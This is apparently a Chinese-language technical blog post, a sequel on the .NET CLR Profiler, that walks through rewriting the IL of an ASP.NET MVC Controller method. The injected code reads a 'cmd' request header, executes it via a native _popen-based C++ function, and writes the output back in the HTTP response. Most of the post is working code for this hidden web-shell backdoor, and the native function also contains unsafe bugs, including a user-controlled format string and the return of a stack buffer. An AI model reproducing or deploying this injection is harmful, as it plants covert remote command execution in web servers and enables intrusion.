关于CLR Profiler的基础部分我上篇文章已经讲过了,具体可以去看看
https://www.cnblogs.com/wh4am1/p/15143698.html
直接进入正文部分
这次爬坑也挺久的,请教了公司的同事,最后经过多次调试之后总算把demo做出来了。因为国内外针对这方面的文档确实很少,之能靠自己一步步调试和定位错误原因,不过好在最终还是达到了预期的目标。
源代码还是跟上篇文章一样,这次我直接织入到一个Controller的方法中,并获取Headers头的cmd参数,执行命令之后返回到Response上。
首先第一件事就是获取所需要调用的函数的程序集引用
ASSEMBLYMETADATA assemblyMetadata = { 0 };
assemblyMetadata.usMajorVersion \= 4;
assemblyMetadata.usMinorVersion \= 0;
assemblyMetadata.usBuildNumber \= 0;
assemblyMetadata.usRevisionNumber \= 0;
BYTE WebpublicKey\[\] \= { 0xb0, 0x3f, 0x5f, 0x7f, 0x11, 0xd5, 0x0a, 0x3a }; //b03f5f7f11d50a3a
mdAssemblyRef mscorlibAssemblyRef;
IMetaDataAssemblyEmit\* metaDataAssemblyEmit = NULL;
IfFailRet(metaDataEmit\->QueryInterface(IID\_IMetaDataAssemblyEmit, (void\*\*)&metaDataAssemblyEmit));
IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
WebpublicKey,
sizeof(WebpublicKey),
L"System.Web",
&assemblyMetadata,
nullptr,
0,
0,
&mscorlibAssemblyRef));
ASSEMBLYMETADATA assemblyMetadata1 \= { 0 };
assemblyMetadata1.usMajorVersion \= 4;
assemblyMetadata1.usMinorVersion \= 0;
assemblyMetadata1.usBuildNumber \= 0;
assemblyMetadata1.usRevisionNumber \= 0;
BYTE SystempublicKey\[\] \= { 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34, 0xe0, 0x89 }; //b77a5c561934e089
mdAssemblyRef mscorlibAssemblyRef2;
IfFailRet(metaDataEmit\->QueryInterface(IID\_IMetaDataAssemblyEmit, (void\*\*)&metaDataAssemblyEmit));
IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
SystempublicKey,
sizeof(SystempublicKey),
L"System",
&assemblyMetadata1,
nullptr,
0,
0,
&mscorlibAssemblyRef2));
BYTE rSig\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS,
0, // Number of parameters
ELEMENT\_TYPE\_CLASS, 0, 0, 0, 0, // Return value
0 // parameter list must end with 0
};
ASSEMBLYMETADATA Mvcassembly \= { 0 };
Mvcassembly.usMajorVersion \= 5;
Mvcassembly.usMinorVersion \= 2;
Mvcassembly.usBuildNumber \= 4;
Mvcassembly.usRevisionNumber \= 0;
BYTE publicKey\[\] \= { 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35 }; //31bf3856ad364e35
BYTE MVCrSig\[\] = { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS,
0, // Number of parameters
ELEMENT\_TYPE\_CLASS, 0, 0, 0, 0, // Return Class
0 // parameter list must end with 0
};
mdAssemblyRef MvcmscorlibAssemblyRef;
IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
publicKey,
sizeof(publicKey),
L"System.Web.Mvc",
&Mvcassembly,
nullptr,
0,
0,
&MvcmscorlibAssemblyRef));
有了这些引用之后就可以重写对应的IL,并调用对应的函数获取返回值
因为我需要将Headers头中的参数传入到对应的cmd执行函数里面去,所以伪代码大致如下:
Response.Write(EnterExecCMD(Request.Headers\["cmd"\]))
其对应的IL代码如下:
IL\_00c2: ldarg.0
IL\_00c3: call instance class \[System.Web\]System.Web.HttpResponseBase \[System.Web.Mvc\]System.Web.Mvc.Controller::get\_Response()
IL\_00c8: ldarg.0
IL\_00c9: call instance class \[System.Web\]System.Web.HttpRequestBase \[System.Web.Mvc\]System.Web.Mvc.Controller::get\_Request()
IL\_00ce: callvirt instance class \[System\]System.Collections.Specialized.NameValueCollection \[System.Web\]System.Web.HttpRequestBase::get\_Headers()
IL\_00d3: ldstr "cmd"
IL\_00d8: callvirt instance string \[System\]System.Collections.Specialized.NameValueCollection::get\_Item(string)
//此处是调用EnterExecCMD函数的地方
IL\_00dd: callvirt instance void \[System.Web\]System.Web.HttpResponseBase::Write(string)
所以之后的IL重写代码如下:
pNewInstr = pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_NOP;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_LDARG\_0;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
mdTypeRef retType;
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &retType));
IfFailRet(metaDataEmit\->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
ulTokenLength \= CorSigCompressToken(retType, &MVCrSig\[3\]);
ulSigLength \= 3 + ulTokenLength;
IfFailRet(metaDataEmit\->DefineMemberRef(typeRef, L"get\_Response", MVCrSig, ulSigLength, &MemberRef));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALL;
pNewInstr\->m\_Arg32 = MemberRef;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_LDARG\_0;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &retType));
IfFailRet(metaDataEmit\->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
ulTokenLength \= CorSigCompressToken(retType, &MVCrSig\[3\]);
ulSigLength \= 3 + ulTokenLength;
IfFailRet(metaDataEmit\->DefineMemberRef(typeRef, L"get\_Request", MVCrSig, ulSigLength, &MemberRef));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALL;
pNewInstr\->m\_Arg32 = MemberRef;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &retType));
mdTypeRef typeRef1 \= mdTypeRefNil;
mdMemberRef MemberRef1 \= mdMemberRefNil;
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &typeRef1));
ulTokenLength \= CorSigCompressToken(retType, &rSig\[3\]);
ulSigLength \= 3 + ulTokenLength;
IfFailRet(metaDataEmit\->DefineMemberRef(typeRef1, L"get\_Headers", rSig, ulSigLength, &MemberRef1));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALLVIRT;
pNewInstr\->m\_Arg32 = MemberRef1;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
auto localstring \= L"cmd";
auto localsize \= lstrlenW(localstring);
mdToken stringToken;
IfFailRet(metaDataEmit\->DefineUserString(localstring, localsize, &stringToken));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_LDSTR;
pNewInstr\->m\_Arg32 = stringToken; //"cmd"
pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
BYTE rSig\_Item\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS, 0x01, ELEMENT\_TYPE\_STRING, ELEMENT\_TYPE\_STRING };
mdTypeRef typeRef2 \= mdTypeRefNil;
mdMemberRef MemberRef2 \= mdMemberRefNil;
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &typeRef2));
IfFailRet(metaDataEmit\->DefineMemberRef(typeRef2, L"get\_Item", rSig\_Item, sizeof(rSig\_Item), &MemberRef2));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALLVIRT;
pNewInstr\->m\_Arg32 = MemberRef2;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_LDC\_I;
pNewInstr\->m\_Arg64 = methodAddress;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALLI;
pNewInstr\->m\_Arg32 = methodSignature;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
BYTE rSig\_Write\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS, 0x01, ELEMENT\_TYPE\_VOID, ELEMENT\_TYPE\_STRING };
IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &typeRef1));
IfFailRet(metaDataEmit\->DefineMemberRef(typeRef1, L"Write", rSig\_Write, sizeof(rSig\_Write), &MemberRef1));
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALLVIRT;
pNewInstr\->m\_Arg32 = MemberRef1;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_NOP;
pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
View Code
在重写的时候调用函数会用DefineMemberRef来找到对应的函数引用,但因为是本地引用的base对象,所以此处应该要用IMAGE_CEE_CS_CALLCONV_HASTHIS修饰,不然会报对应的方法找不到,这个问题一直困扰了我很久,最后看了很多代码和文库才知道是要这么写- -
而其中的EnterExecCMD函数是用C++编写的,实现代码如下:
static char\* STDMETHODCALLTYPE Enter(char\* arg0)
{
if (arg0 && \*arg0 != '\\0') {
int iRet = 0;
char buf\_ps\[4096\];
char ps\[1024\] = { 0 };
char ret\[4096\];
FILE \*ptr;
sprintf(ps, arg0);
if ((ptr = \_popen(ps, "r")) != NULL)
{
while (fgets(buf\_ps, sizeof(buf\_ps), ptr) != NULL)
{
strcat(ret, buf\_ps);
if (strlen(ret) > 4096)
{
break;
}
}
\_pclose(ptr);
ptr \= NULL;
iRet \= 1; // 处理成功
}
else
{
iRet \= 0; // 处理失败
}
if (iRet) {
return buf\_ps;
}
else {
return (char\*)"Run Command Error";
}
}
}
附上最后测试的图,在请求的时候Header头上cmd参数写入要执行的cmd命令即可:
Reference: